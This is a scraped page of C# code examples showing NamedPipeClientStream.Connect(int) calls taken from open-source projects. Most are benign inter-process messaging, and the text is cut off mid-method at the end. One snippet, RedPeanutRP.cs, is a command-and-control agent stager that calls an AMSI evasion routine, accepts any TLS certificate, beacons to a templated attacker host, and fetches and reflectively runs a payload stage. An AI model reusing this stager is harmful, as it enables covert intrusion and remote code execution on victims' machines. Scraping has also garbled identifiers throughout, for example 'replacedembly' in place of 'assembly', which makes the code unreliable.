System.IO.Pipes.NamedPipeClientStream.Connect(int)

Here are the examples of the csharp api System.IO.Pipes.NamedPipeClientStream.Connect(int) taken from open source projects. By voting up you can indicate which examples are most useful and appropriate.

93 Examples 7

19 Source : RatAttack-cli.cs
with GNU General Public License v3.0
from alterNERDtive

static void Main(string[] args)
        {
            RatAttack.Ratsignal ratsignal = new RatAttack.Ratsignal(stripIrcCodes(args[0]), args.Length > 1 && args[1].ToLower() == "true");

            using (NamedPipeClientStream pipeClient = new NamedPipeClientStream(".", "RatAttack", PipeDirection.Out))
            {
                try
                {
                    // try connecting for up to 2 minutes; then we’ll replacedume VoiceAttack just isn’t up and won’t come up
                    pipeClient.Connect(120000);
                    using (StreamWriter writer = new StreamWriter(pipeClient))
                    {
                        writer.WriteLine(ratsignal);
                    }
                }
                catch (TimeoutException)
                {
                    Console.Error.WriteLine("Connection to RatAttack pipe has timed out.");
                }
            }
        }

19 Source : NamedPipes.cs
with GNU Affero General Public License v3.0
from arklumpus

public static bool TryStartClient(string[] files, bool startNewProcess)
        {
            if (files.Length == 1)
            {
                files = new string[] { files[0], "::OpenWindow" };
            }

            try
            {
                using (NamedPipeClientStream client = new NamedPipeClientStream(PipeName))
                {
                    client.Connect(100);
                    using (StreamWriter writer = new StreamWriter(client))
                    {
                        if (!startNewProcess)
                        {
                            writer.Write(files.Aggregate((a, b) => a + "\t" + b));
                        }
                        else
                        {
                            writer.Write("::DoNothing");
                        }

                        return true;
                    }
                }
            }
            catch
            {
                return false;
            }
        }

19 Source : FormBackground.cs
with MIT License
from AutoItConsulting

private void NamedPipeClientSendOptions(NamedPipeXmlPayload namedPipePayload)
        {
            //List<string> arguments = Environment.GetCommandLineArgs().ToList();

            try
            {
                using (var namedPipeClientStream = new NamedPipeClientStream(".", PipeName, PipeDirection.Out))
                {
                    namedPipeClientStream.Connect(3000); // Maximum wait 3 seconds

                    var xmlSerializer = new XmlSerializer(typeof(NamedPipeXmlPayload));
                    xmlSerializer.Serialize(namedPipeClientStream, namedPipePayload);
                }
            }
            catch (Exception)
            {
                // Error connecting or sending
            }
        }

19 Source : RedPeanutAgent.cs
with BSD 3-Clause "New" or "Revised" License
from b4rtik

private NamedPipeClientStream CreatePipeClient(string pipename)
        {
            NamedPipeClientStream pipe;
            try
            {
                pipe = new NamedPipeClientStream(host, pipename, PipeDirection.InOut, PipeOptions.Asynchronous);
                pipe.Connect(5000);
                pipe.ReadMode = PipeTransmissionMode.Message;
                return pipe;
            }
            catch (Exception)
            {
                return null;
            }
        }

19 Source : RedPeanutRP.cs
with BSD 3-Clause "New" or "Revised" License
from b4rtik

public static void Execute()
    {
        string[] pageget = {
            #PAGEGET#
        };

        string[] pagepost = {
            #PAGEPOST#
        };

        string param = "#PARAM#";
        string serverkey = "#SERVERKEY#";
        string host = "#HOST#";

        string namedpipe = "#PIPENAME#";
        bool amsievasion = true;

        int port = 0;
        int targetframework = 40;

        Int32.TryParse("#PORT#", out port);
        Int32.TryParse("#FRAMEWORK#", out targetframework);

        Thread.Sleep(10000);
        AgentIdReqMsg agentIdReqMsg = new AgentIdReqMsg();
        agentIdReqMsg.address = host;
        agentIdReqMsg.port = port;
        agentIdReqMsg.request = "agentid";
        agentIdReqMsg.framework = targetframework;


        string agentidrequesttemplate = new JavaScriptSerializer().Serialize(agentIdReqMsg);
        bool agentexit = false;

        RedPeanutAgent.Evasion.Evasion.Evade(amsievasion);

        while (true && !agentexit)
        {
            try
            {
                string resp = "";
                string cookievalue = "";
                NamedPipeClientStream pipe = null;
                if (string.IsNullOrEmpty(namedpipe))
                {
                    CookiedWebClient wc = new CookiedWebClient();
                    wc.UseDefaultCredentials = true;
                    wc.Proxy = WebRequest.DefaultWebProxy;
                    wc.Proxy.Credentials = CredentialCache.DefaultNetworkCredentials;

                    WebHeaderCollection webHeaderCollection = new WebHeaderCollection();

                    webHeaderCollection.Add(HttpRequestHeader.UserAgent, "#USERAGENT#");

                    #HEADERS#

                    wc.Headers = webHeaderCollection;

                    ServicePointManager.Expect100Continue = true;
                    ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072;
                    ServicePointManager.DefaultConnectionLimit = 9999;
                    ServicePointManager.ServerCertificateValidationCallback = new RemoteCertificateValidationCallback(delegate { return true; });

                    string post = String.Format("{0}={1}", param, EncryptMessage(serverkey, agentidrequesttemplate));
                    string rpaddress = String.Format("https://{0}:{1}/{2}", host, port, pagepost[new Random().Next(pagepost.Length)], post);

                    resp = wc.UploadString(rpaddress, post);

                    Cookie cookie = wc.ResponseCookies["sessionid"];
                    cookievalue = cookie.Value;
                }
                else
                {
                    try
                    {

                        pipe = new NamedPipeClientStream(host, namedpipe, PipeDirection.InOut, PipeOptions.Asynchronous);
                        pipe.Connect(5000);
                        pipe.ReadMode = PipeTransmissionMode.Message;

                        //Write AgentIdReqMsg
                        var agentIdrequest = EncryptMessage(serverkey, agentidrequesttemplate);
                        pipe.Write(Encoding.Default.GetBytes(agentIdrequest), 0, agentIdrequest.Length);

                        var messageBytes = ReadMessage(pipe);
                        resp = Encoding.UTF8.GetString(messageBytes);
                    }
                    catch (Exception)
                    {

                    }
                }

                var line = DecryptMessage(serverkey, resp);
                AgentIdMsg agentIdMsg = new JavaScriptSerializer().Deserialize<AgentIdMsg>(line);

                object[] agrsstage = new object[] {
                             line, cookievalue, pipe
                            };

                System.Reflection.replacedembly replacedembly = System.Reflection.replacedembly.Load(getPayload(agentIdMsg.stage));
                replacedembly.GetTypes()[0].GetMethods()[0].Invoke(null, agrsstage);
            }
            catch (WebException)
            {
                Thread.Sleep(30000);
            }
            catch (SystemException e)
            {
                if (e.Data.Contains("reason"))
                    if (e.Data["reason"].Equals("exit"))
                        agentexit = true;
            }
        }
    }

19 Source : ArgsPipeInterOp.cs
with GNU General Public License v3.0
from Cheerpipe

public void SendArgs(string[] args)
        {
            using (var pipe = new NamedPipeClientStream(".", "RGBFusion390SetColor", PipeDirection.Out))
            using (var stream = new StreamWriter(pipe))
            {
                pipe.Connect(timeout: 1000);
                stream.Write(string.Join(" ", args));
            }
        }

19 Source : RgbFusion.cs
with GNU General Public License v3.0
from Cheerpipe

public void SendArgs(string[] args)
    {
        using (var pipe = new NamedPipeClientStream(".", "RGBFusion390SetColor", PipeDirection.Out))
        using (var stream = new StreamWriter(pipe))
        {
            pipe.Connect(timeout: 100);
            stream.Write(string.Join(separator: " ", value: args));
        }
    }

19 Source : Program.cs
with GNU General Public License v3.0
from cramerlab

static void Main(string[] args)
        {
            CultureInfo.DefaultThreadCurrentCulture = CultureInfo.InvariantCulture;
            CultureInfo.DefaultThreadCurrentUICulture = CultureInfo.InvariantCulture;

            //if (!Debugger.IsAttached)
            //    Debugger.Launch();

            if (args.Length < 3)
                return;

            DeviceID = int.Parse(args[0]) % GPU.GetDeviceCount();
            PipeName = args[1];
            bool DebugMode = bool.Parse(args[2]);

            GPU.SetDevice(DeviceID);

            Console.WriteLine($"Running on GPU #{DeviceID} ({GPU.GetFreeMemory(DeviceID)} MB free) through {PipeName}\n");
            
            Formatter = new BinaryFormatter();

            Heartbeat = new Thread(new ThreadStart(() =>
            {
                if (!DebugMode)
                    while (true)
                        try
                        {
                            NamedPipeClientStream PipeHeartbeat = new NamedPipeClientStream(".", PipeName + "_heartbeat", PipeDirection.In);
                            PipeHeartbeat.Connect(5000);

                            PipeHeartbeat.Dispose();
                        }
                        catch
                        {
                            if (!Terminating)
                                Process.GetCurrentProcess().Kill();
                        }
            }));
            Heartbeat.Start();

            while (true)
            {
                PipeReceive = new NamedPipeClientStream(".", PipeName + "_out", PipeDirection.In);
                PipeReceive.Connect();

                NamedSerializableObject Command = (NamedSerializableObject)Formatter.Deserialize(PipeReceive);

                PipeReceive.Dispose();

                Console.WriteLine($"Received \"{Command.Name}\", with {Command.Content.Length} arguments, for GPU #{GPU.GetDevice()}, {GPU.GetFreeMemory(DeviceID)} MB free");

                try
                {
                    Stopwatch Watch = new Stopwatch();
                    Watch.Start();

                    if (Command.Name == "Exit")
                    {
                        Movie.WriteAverageAsync?.Wait();

                        SendSuccessStatus(true);
                        Process.GetCurrentProcess().Kill();

                        return;
                    }
                    else if (Command.Name == "Ping")
                    {
                        Console.WriteLine("Ping!");
                    }
                    else if (Command.Name == "SetHeaderlessParams")
                    {
                        HeaderlessDims = (int2)Command.Content[0];
                        HeaderlessOffset = (long)Command.Content[1];
                        HeaderlessType = (string)Command.Content[2];

                        Console.WriteLine($"Set headerless parameters to {HeaderlessDims}, {HeaderlessOffset}, {HeaderlessType}");
                    }
                    else if (Command.Name == "LoadGainRef")
                    {
                        GainRef?.Dispose();
                        DefectMap?.Dispose();

                        string GainPath = (string)Command.Content[0];
                        bool FlipX = (bool)Command.Content[1];
                        bool FlipY = (bool)Command.Content[2];
                        bool Transpose = (bool)Command.Content[3];
                        string DefectsPath = (string)Command.Content[4];

                        if (!string.IsNullOrEmpty(GainPath))
                        {
                            GainRef = LoadAndPrepareGainReference(GainPath, FlipX, FlipY, Transpose);
                        }
                        if (!string.IsNullOrEmpty(DefectsPath))
                        {
                            DefectMap = LoadAndPrepareDefectMap(DefectsPath, FlipX, FlipY, Transpose);
                        }

                        Console.WriteLine($"Loaded gain reference and defect map: {GainRef}, {FlipX}, {FlipY}, {Transpose}, {DefectsPath}");
                    }
                    else if (Command.Name == "LoadStack")
                    {
                        OriginalStack?.Dispose();

                        string Path = (string)Command.Content[0];
                        decimal ScaleFactor = (decimal)Command.Content[1];
                        int EERGroupFrames = (int)Command.Content[2];

                        HeaderEER.GroupNFrames = EERGroupFrames;

                        OriginalStack = LoadAndPrepareStack(Path, ScaleFactor);
                        OriginalStackOwner = Helper.PathToNameWithExtension(Path);

                        Console.WriteLine($"Loaded stack: {OriginalStack}, {ScaleFactor}");
                    }
                    else if (Command.Name == "MovieProcessCTF")
                    {
                        string Path = (string)Command.Content[0];
                        ProcessingOptionsMovieCTF Options = (ProcessingOptionsMovieCTF)Command.Content[1];

                        if (Helper.PathToNameWithExtension(Path) != OriginalStackOwner)
                            throw new Exception("Currently loaded stack doesn't match the movie requested for processing!");

                        Movie M = new Movie(Path);
                        M.ProcessCTF(OriginalStack, Options);
                        M.SaveMeta();

                        Console.WriteLine($"Processed CTF for {Path}");
                    }
                    else if (Command.Name == "MovieProcessMovement")
                    {
                        string Path = (string)Command.Content[0];
                        ProcessingOptionsMovieMovement Options = (ProcessingOptionsMovieMovement)Command.Content[1];

                        if (Helper.PathToNameWithExtension(Path) != OriginalStackOwner)
                            throw new Exception("Currently loaded stack doesn't match the movie requested for processing!");

                        Movie M = new Movie(Path);
                        M.ProcessShift(OriginalStack, Options);
                        M.SaveMeta();

                        Console.WriteLine($"Processed movement for {Path}");
                    }
                    else if (Command.Name == "MovieExportMovie")
                    {
                        string Path = (string)Command.Content[0];
                        ProcessingOptionsMovieExport Options = (ProcessingOptionsMovieExport)Command.Content[1];

                        if (Helper.PathToNameWithExtension(Path) != OriginalStackOwner)
                            throw new Exception("Currently loaded stack doesn't match the movie requested for processing!");

                        Movie M = new Movie(Path);
                        M.ExportMovie(OriginalStack, Options);
                        M.SaveMeta();

                        Console.WriteLine($"Exported movie for {Path}");
                    }
                    else if (Command.Name == "MovieExportParticles")
                    {
                        string Path = (string)Command.Content[0];
                        ProcessingOptionsParticlesExport Options = (ProcessingOptionsParticlesExport)Command.Content[1];
                        float2[] Coordinates = (float2[])Command.Content[2];

                        if (Helper.PathToNameWithExtension(Path) != OriginalStackOwner)
                            throw new Exception("Currently loaded stack doesn't match the movie requested for processing!");

                        Movie M = new Movie(Path);
                        M.ExportParticles(OriginalStack, Coordinates, Options);
                        M.SaveMeta();

                        Console.WriteLine($"Exported {Coordinates.Length} particles for {Path}");
                    }
                    else if (Command.Name == "TomoProcessCTF")
                    {
                        string Path = (string)Command.Content[0];
                        ProcessingOptionsMovieCTF Options = (ProcessingOptionsMovieCTF)Command.Content[1];

                        TiltSeries T = new TiltSeries(Path);
                        T.ProcessCTFSimultaneous(Options);
                        T.SaveMeta();

                        Console.WriteLine($"Processed CTF for {Path}");
                    }
                    else if (Command.Name == "TomoExportParticles")
                    {
                        string Path = (string)Command.Content[0];
                        ProcessingOptionsTomoSubReconstruction Options = (ProcessingOptionsTomoSubReconstruction)Command.Content[1];
                        float3[] Coordinates = (float3[])Command.Content[2];
                        float3[] Angles = Command.Content[3] != null ? (float3[])Command.Content[3] : null;

                        TiltSeries T = new TiltSeries(Path);
                        T.ReconstructSubtomos(Options, Coordinates, Angles);
                        T.SaveMeta();

                        Console.WriteLine($"Exported {Coordinates.Length} particles for {Path}");
                    }
                    else if (Command.Name == "MPAPreparePopulation")
                    {
                        string Path = (string)Command.Content[0];

                        MPAPopulation = new Population(Path);

                        foreach (var species in MPAPopulation.Species)
                        {
                            Console.Write($"Preparing {species.Name} for refinement... ");

                            species.PrepareRefinementRequisites(true, DeviceID);

                            Console.WriteLine("Done.");
                        }
                    }
                    else if (Command.Name == "MPARefine")
                    {
                        string Path = (string)Command.Content[0];
                        string WorkingDirectory = (string)Command.Content[1];
                        string LogPath = (string)Command.Content[2];
                        ProcessingOptionsMPARefine Options = (ProcessingOptionsMPARefine)Command.Content[3];
                        DataSource Source = (DataSource)Command.Content[4];

                        Movie Item = null;

                        if (Helper.PathToExtension(Path).ToLower() == ".tomostar")
                            Item = new TiltSeries(Path);
                        else
                            Item = new Movie(Path);

                        GPU.SetDevice(DeviceID);

                        Item.PerformMultiParticleRefinement(WorkingDirectory, Options, MPAPopulation.Species.ToArray(), Source, GainRef, DefectMap, (message) =>
                        {
                            Console.WriteLine(message);

                            bool Success = false;
                            int Tries = 0;
                            while (!Success && Tries < 10)
                                try
                                {
                                    using (TextWriter Writer = File.AppendText(LogPath))
                                        Writer.WriteLine(message);
                                    Success = true;
                                }
                                catch
                                {
                                    Thread.Sleep(100);
                                    Tries++;
                                }
                        });

                        Item.SaveMeta();

                        GPU.CheckGPUExceptions();

                        Console.WriteLine($"Finished refining {Item.Name}");
                    }
                    else if (Command.Name == "MPASaveProgress")
                    {
                        string Path = (string)Command.Content[0];

                        MPAPopulation.SaveRefinementProgress(Path);
                    }
                    else if (Command.Name == "TryAllocatePinnedMemory")
                    {
                        long[] ChunkSizes = (long[])Command.Content[0];
                        IntPtr[] Chunks = new IntPtr[ChunkSizes.Length];

                        for (int i = 0; i < ChunkSizes.Length; i++)
                        {
                            Chunks[i] = GPU.MallocHostPinned(ChunkSizes[i] / sizeof(float));
                            //Dummies.Add(Helper.ArrayOfSequence(0, (int)(ChunkSizes[i] / sizeof(float) / 2), 1));
                        }

                        GPU.CheckGPUExceptions();

                        //for (int i = 0; i < ChunkSizes.Length; i++)
                        //    GPU.FreeHostPinned(Chunks[i]);

                        Console.WriteLine($"Successfully allocated {ChunkSizes.Sum()} bytes of pinned memory");
                    }

                    Watch.Stop();
                    Console.WriteLine((Watch.ElapsedMilliseconds / 1000f).ToString("F3"));

                    Console.WriteLine("");

                    SendSuccessStatus(true);
                }
                catch (Exception e)
                {
                    Console.WriteLine(e.ToString());

                    File.WriteAllText($"worker_{DeviceID}_crash.txt", e.ToString());

                    //Console.Read();

                    SendSuccessStatus(false);
                }
            }
        }

19 Source : Program.cs
with GNU General Public License v3.0
from cramerlab

static void SendSuccessStatus(bool status)
        {
            PipeSend = new NamedPipeClientStream(".", PipeName + "_in", PipeDirection.Out);
            PipeSend.Connect();

            Formatter.Serialize(PipeSend, new NamedSerializableObject("Success", status));

            PipeSend.Dispose();
        }

19 Source : ClientConnectionContext.cs
with Apache License 2.0
from cyanfish

public void InitCall<TRequest, TResponse>(Method<TRequest, TResponse> method, TRequest request)
        {
            if (_callOptions.CancellationToken.IsCancellationRequested || _deadline.IsExpired)
            {
                return;
            }

            _pipeStream.Connect(_connectionTimeout);
            _pipeStream.ReadMode = PipeTransmissionMode.Message;

            if (request != null)
            {
                var payload = SerializationHelpers.Serialize(method.RequestMarshaller, request);
                Transport.Write()
                    .RequestInit(method.FullName, _callOptions.Deadline)
                    .Headers(_callOptions.Headers)
                    .Payload(payload)
                    .Commit();
                _cancelReg = _callOptions.CancellationToken.Register(DisposeCall);
            }
            else
            {
                Transport.Write()
                    .RequestInit(method.FullName, _callOptions.Deadline)
                    .Headers(_callOptions.Headers)
                    .Commit();
                _cancelReg = _callOptions.CancellationToken.Register(DisposeCall);
            }
        }

19 Source : AsyncNamedPipeClient.cs
with MIT License
from darksody

protected void CreatePipe()
        {
            if (stopEvent.IsSet)
            {
                return;
            }

            try
            {
                PipeClientStream = new NamedPipeClientStream(
                    ".",
                    pipeName,
                    PipeDirection.InOut,
                    PipeOptions.Asynchronous);

                while (!stopEvent.IsSet)
                {
                    try
                    {
                        PipeClientStream.Connect(1);
                        PipeClientStream.ReadMode = PipeTransmissionMode.Message;
                        FireConnectionChangedEvent(true);
                        return;
                    }
                    catch (TimeoutException e)
                    {
                        System.Diagnostics.Trace.WriteLine(e.Message);
                    }
                    catch (Exception e)
                    {
                        FireExceptionEvent(e);
                    }

                    Thread.Sleep(100);
                }
            }
            catch (ObjectDisposedException e)
            {
                System.Diagnostics.Trace.WriteLine(e.Message);
            }
            catch (Exception e)
            {
                FireExceptionEvent(e);
            }
        }

19 Source : PipeIPC.cs
with GNU General Public License v3.0
from DavidXanatos

public bool Connect(int TimeOut = 10000)
        {
            try
            {
                pipeStream.Connect(TimeOut);
            }
            catch
            {
                return false; // timeout
            }

            DataReceived += (sndr, data) => {
                MessageQueue.Push(data);
            };

            initAsyncReader();
            return true;
        }

19 Source : ManagedNamedPipeClient.cs
with GNU General Public License v3.0
from deathkiller

private bool AttemptConnection(int pipe, bool useSandbox = false)
        {
            if (isDisposed) {
                throw new ObjectDisposedException(nameof(stream));
            }

            string sandbox;
            if (useSandbox) {
                switch (Environment.OSVersion.Platform) {
                    default:
                        return false;
                    case PlatformID.Unix:
                        sandbox = "snap.discord/";
                        break;
                }
            } else {
                sandbox = "";
            }

            string pipeName = GetPipeName(pipe, sandbox);

            try {
                lock (streamLock) {
                    stream = new NamedPipeClientStream(".", pipeName, PipeDirection.InOut, PipeOptions.Asynchronous);
                    stream.Connect(1000);

                    do {
                        Thread.Sleep(10);
                    } while (!stream.IsConnected);
                }

                connectedPipe = pipe;
                isClosed = false;
            } catch {
                Close();
            }

            return !isClosed;
        }

19 Source : NamedPipeListener.cs
with Apache License 2.0
from docker

private (NamedPipeClientStream, NamedPipeServerStream) ConnectDummyClientAndServer(CancellationToken cancellationToken)
        {
            const int MAX_DUMMYCONNECTION_RETRIES = 500;
            for (int i = 0; i < MAX_DUMMYCONNECTION_RETRIES; i++)
            {
                // Always have another stream active so if HandleStream finishes really quickly theres
                // no chance of the named pipe being removed altogether.
                // This is the same pattern as microsofts go library -> https://github.com/Microsoft/go-winio/pull/80/commits/ecd994be061f4ae21f463bbf08166d8edc96cadb
                var serverStream = new NamedPipeServerStream(_pipeName, PipeDirection.InOut, _maxAllowedServerInstances, _pipeTransmissionMode, _pipeOptions, 0, 0, _pipeSecurity);
                serverStream.WaitForConnectionAsync(cancellationToken);

                var dummyClientStream = new NamedPipeClientStream(".", _pipeName, PipeDirection.InOut, PipeOptions.Asynchronous);
                try
                {
                    dummyClientStream.Connect(10); // 10ms timeout to connect to itself
                }
                catch (Exception)
                {
                    _logger.LogVerbose("[DUMMY] Dummy client couldn't connect, usually because a real client is trying to connect before the server is ready. Closing the pending connection and restarting server..");
                    serverStream.Disconnect();
                    continue;
                }

                _logger.LogVerbose("[DUMMY] Connected!");
                return (dummyClientStream, serverStream);
            }

            var errorMessage =
                $"Could not start server - dummy connection could not be made after {MAX_DUMMYCONNECTION_RETRIES} retries. " +
                "This could be because there are too many pending connections on this named pipe. Ensure clients don't spam the server before it's ready.";
            _logger.LogError(errorMessage);
            throw new Exception(errorMessage);
        }

19 Source : SingleInstanceTests.cs
with MIT License
from dotnet

private static NamedPipeClientStream CreateClientConnection(string pipeName, int timeout)
        {
            var pipeClient = new NamedPipeClientStream(".", pipeName, PipeDirection.Out);
            try
            {
                pipeClient.Connect(timeout);
            }
            catch (TimeoutException)
            {
                pipeClient.Dispose();
                return null;
            }

            return pipeClient;
        }

19 Source : IpcClient.cs
with MIT License
from dragonglasscom

private NamedPipeClientStream GetPipeClient()
        {
            try
            {
                if (_pipeClient == null || !_pipeClient.IsConnected)
                {
                    _pipeClient = new NamedPipeClientStream(IpcPath);
                    _pipeClient.Connect(ConnectionTimeout);
                }
            }
            catch (TimeoutException ex)
            {
                throw new RpcClientTimeoutException($"Rpc timeout afer {ConnectionTimeout} milliseconds", ex);
            }
            catch
            {
                //Connection error we want to allow to retry.
                _pipeClient = null;
                throw;
            }
            return _pipeClient;
        }

19 Source : TNamedPipeClientTransport.cs
with Apache License 2.0
from duyanming

public override void Open()
        {
            if (IsOpen)
            {
                throw new TTransportException(TTransportException.ExceptionType.AlreadyOpen);
            }
            client = new NamedPipeClientStream(ServerName, PipeName, PipeDirection.InOut, PipeOptions.None);
            client.Connect(ConnectTimeout);
        }

19 Source : DebugConsole.cs
with Mozilla Public License 2.0
from ehsan2022002

public void TryWritePipe(string text)
        {
            if (!EnableSharedOutput)
                return;
            if (text == null || text == "")
                return;

            string name = "";
            if (Name == null || Name.Trim() == "")
                name = "NetOffice.DebugConsole";
            else
                name = "NetOffice.DebugConsole." + Name;

            try
            {
                using (System.IO.Pipes.NamedPipeClientStream pipe =
                    new System.IO.Pipes.NamedPipeClientStream(name))
                {
                    pipe.Connect(500);
                    using (StreamWriter writer = new StreamWriter(pipe))
                    {
                        writer.WriteLine(text);
                    }
                }
            }
            catch (TimeoutException exception)
            {
                if (RaisePipeError(name, text, exception))
                    EnableSharedOutput = false;
            }
            catch (Exception exception)
            {
                AddToMessageList("Failed to send shared message.", MessageKind.Warning);
                if (RaisePipeError(name, text, exception))
                    EnableSharedOutput = false;
            }
        }

19 Source : IpcClient.cs
with MIT License
from FabianTerhorst

private static Stream GetTransport(int processId)
        {
            if (RuntimeInformation.IsOSPlatform(OSPlatform.Windows))
            {
                string pipeName = $"dotnet-diagnostic-{processId}";
                var namedPipe = new NamedPipeClientStream(
                    ".", pipeName, PipeDirection.InOut, PipeOptions.None, TokenImpersonationLevel.Impersonation);
                namedPipe.Connect((int)ConnectTimeoutMilliseconds);
                return namedPipe;
            }
            else
            {
                string ipcPort = Directory.GetFiles(IpcRootPath) // Try best match.
                    .Select(namedPipe => (new FileInfo(namedPipe)).Name)
                    .SingleOrDefault(input => Regex.IsMatch(input, $"^dotnet-diagnostic-{processId}-(\\d+)-socket$"));
                if (ipcPort == null)
                {
                    throw new PlatformNotSupportedException($"Process {processId} not running compatible .NET Core runtime");
                }
                string path = Path.Combine(Path.GetTempPath(), ipcPort);
                var remoteEP = new UnixDomainSocketEndPoint(path);

                var socket = new Socket(AddressFamily.Unix, SocketType.Stream, ProtocolType.Unspecified);
                socket.Connect(remoteEP);
                return new NetworkStream(socket);
            }
        }

19 Source : IpcClient.cs
with MIT License
from FabianTerhorst

private static Stream GetTransport(int processId)
        {
            try 
            {
                var process = Process.GetProcessById(processId);
            }
            catch (System.ArgumentException)
            {
                throw new ServerNotAvailableException($"Process {processId} is not running.");
            }
            catch (System.InvalidOperationException)
            {
                throw new ServerNotAvailableException($"Process {processId} seems to be elevated.");
            }
 
            if (RuntimeInformation.IsOSPlatform(OSPlatform.Windows))
            {
                string pipeName = $"dotnet-diagnostic-{processId}";
                var namedPipe = new NamedPipeClientStream(
                    ".", pipeName, PipeDirection.InOut, PipeOptions.None, TokenImpersonationLevel.Impersonation);
                namedPipe.Connect((int)ConnectTimeoutMilliseconds);
                return namedPipe;
            }
            else
            {
                string ipcPort;
                try
                {
                    ipcPort = Directory.GetFiles(IpcRootPath, $"dotnet-diagnostic-{processId}-*-socket") // Try best match.
                                .OrderByDescending(f => new FileInfo(f).LastWriteTime)
                                .FirstOrDefault();
                    if (ipcPort == null)
                    {
                        throw new ServerNotAvailableException($"Process {processId} not running compatible .NET Core runtime.");
                    }
                }
                catch (InvalidOperationException)
                {
                    throw new ServerNotAvailableException($"Process {processId} not running compatible .NET Core runtime.");
                }
                string path = Path.Combine(IpcRootPath, ipcPort);
                var remoteEP = CreateUnixDomainSocketEndPoint(path);

                var socket = new Socket(AddressFamily.Unix, SocketType.Stream, ProtocolType.Unspecified);
                socket.Connect(remoteEP);
                return new NetworkStream(socket);
            }
        }

19 Source : InstanceHandler.cs
with GNU General Public License v3.0
from FredTungsten

public static bool Startup(string instanceName, string pipeName)
        {
            _pipeName = pipeName;
            _cancellationSource = new CancellationTokenSource();
            _singleInstanceMutex = new Mutex(true, instanceName, out bool createdNew);

            if (createdNew)
            {
                _producerThread = new Thread(ProducerLoop);
                _producerThread.Start();
                
                return true;
            }

            string[] args = Environment.GetCommandLineArgs();
            if (args.Length != 2)
                return false;
            
            // preplaced file on to the other instance
            using (NamedPipeClientStream client = new NamedPipeClientStream(".", pipeName, PipeDirection.Out, PipeOptions.Asynchronous))
            {
                StreamString io = new StreamString(client);
                client.Connect(500); // 500ms timeout
                io.WriteString($"OpenFile \"{args[1]}\"");
            }

            return false;
        }

19 Source : SpConsole.cs
with GNU General Public License v3.0
from FredTungsten

public static void Run(bool replacedumeInteractive)
        {
            try
            {
                string[] args = Environment.GetCommandLineArgs();

                //// Make sure the command line parser/quoter work as expected
                //string fake = QuoteArguments(args);
                //string[] fakeargs = CommandLineSplitter.CommandLineToArgs(fake);
                //bool yay = args.SequenceEqual(fakeargs);

                //if (!yay)
                //{
                //    throw new Exception("Command line arguments couln't be reconstructed :(");
                //}

                string myArgument = args.Length > 1 ? args[1] : "";
                bool interactive;
                int argnum = 2;

                switch (myArgument)
                {
                    case "-c":
                        interactive = false;
                        break;
                    case "-i":
                        interactive = true;
                        break;
                    case "-h":
                        PrintHelp();
                        return;
                    default:
                        interactive = replacedumeInteractive;
                        argnum = 1;
                        break;
                }

                // Only preplaced on the other arguments
                string commandLine = CommandLineHelper.ArgsToCommandline(args.Skip(argnum));
                if (string.IsNullOrEmpty(commandLine) && !interactive)
                    return;

                if(interactive)
                    Console.WriteLine("# Interactive Mode - enter 'exit' to close");

                // preplaced it on to the other instance
                using (NamedPipeClientStream client = new NamedPipeClientStream(".", "ScriptPlayer-CommandLinePipe",
                    PipeDirection.InOut, PipeOptions.Asynchronous))
                {
                    StreamString io = new StreamString(client);
                    try
                    {
                        client.Connect(500); // 500ms timeout

                        do
                        {
                            if (interactive)
                            {
                                commandLine = Console.ReadLine();
                                if (commandLine == "exit")
                                    break;
                            }

                            io.WriteString(commandLine);

                            string response = io.ReadString();
                            Console.WriteLine(response);

                            Debug.WriteLine("Commandline successfully sent to ScriptPlayer");
                        } while (interactive && commandLine != "exit");
                    }
                    catch (Exception e)
                    {
                        Console.Error.WriteLine(e.Message);
                        Debug.WriteLine("Couldn't send commandline to ScriptPlayer: " + e.Message);
                    }
                }
            }
            finally
            {
                ConsoleHelper.CleanUp();
            }
        }

19 Source : Helper.cs
with MIT License
from garyan2

public static void SendPipeMessage(string message)
        {
            var client = new NamedPipeClientStream(".", "Epg123StatusPipe", PipeDirection.Out);
            try
            {
                client.Connect(100);
                var writer = new StreamWriter(client);
                writer.WriteLine(message);
                writer.Flush();
            }
            catch
            {
                // ignored
            }
        }

19 Source : trayApplication.cs
with MIT License
from garyan2

private void CloseMenuItem_Click(object sender, EventArgs e)
        {
            if (_serverThread.IsAlive)
            {
                using (var endClient = new NamedPipeClientStream(".", "Epg123StatusPipe"))
                {
                    try
                    {
                        var streamWriter = new StreamWriter(endClient);
                        endClient.Connect(100);
                        streamWriter.WriteLine("Shutdown");
                        streamWriter.Flush();
                    }
                    catch
                    {
                        // ignored
                    }
                }
                _serverThread.Join();
            }

            Application.Exit();
        }

19 Source : PipeClient.cs
with MIT License
from grahammcallister

private void AsyncConnect(object sender, DoWorkEventArgs e)
        {
            while (!_pipe.IsConnected)
                try
                {
                    Connected = _pipe.IsConnected;
                    _pipe.Connect(200);
                }
                catch (IOException iox)
                {
                    Debug.WriteLine(iox.Message);
                    Connected = false;
                    if (iox.Message.Contains("expired")) continue;
                    throw;
                }
                catch (ObjectDisposedException ode)
                {
                    Debug.WriteLine(ode.Message);
                    Close();
                    break;
                }
        }

19 Source : Player.cs
with GNU General Public License v3.0
from guest-nico

private void setPipeName(Process p) {
			var pn = ((int)(new Random().NextDouble() * 10000)).ToString();
			//form.addLogText(pn);
			p.StandardInput.WriteLine(pn);
			p.StandardInput.Flush();
			
			//a
			/*
			for (var i = 0; i < 10; i++) {
				Thread.Sleep(1000);
				try {
					var server = new NamedPipeClientStream(pn);
					server.Connect(3000);
					pipeWriter = new StreamWriter(server);
				} catch (Exception e) {
					util.debugWriteLine("named pipe sleep i " + i + " " + e.Message + e.Source + e.StackTrace + e.TargetSite);
					continue;
				}
			    break;
			}
			*/
			//b
			/*
			Thread.Sleep(7000);
			try {
				var server = new NamedPipeClientStream(pn);
				server.Connect(5000);
				pipeWriter = new StreamWriter(server);
			} catch (Exception e) {
				util.debugWriteLine("named pipe sleep  " + " " + e.Message + e.Source + e.StackTrace + e.TargetSite);
			}
			*/
			/*
			//c
			Thread.Sleep(1000);
			try {
				var server = new NamedPipeClientStream(pn);
				server.Connect(5000);
				pipeWriter = new StreamWriter(server);
			} catch (Exception e) {
				util.debugWriteLine("named pipe sleep  " + " " + e.Message + e.Source + e.StackTrace + e.TargetSite);
			}
			*/
			//moto
			Thread.Sleep(1000);
			try {
				var server = new NamedPipeClientStream(pn);
				server.Connect(5000);
				pipeWriter = new StreamWriter(server);
			} catch (Exception e) {
				util.debugWriteLine("named pipe sleep  " + " " + e.Message + e.Source + e.StackTrace + e.TargetSite);
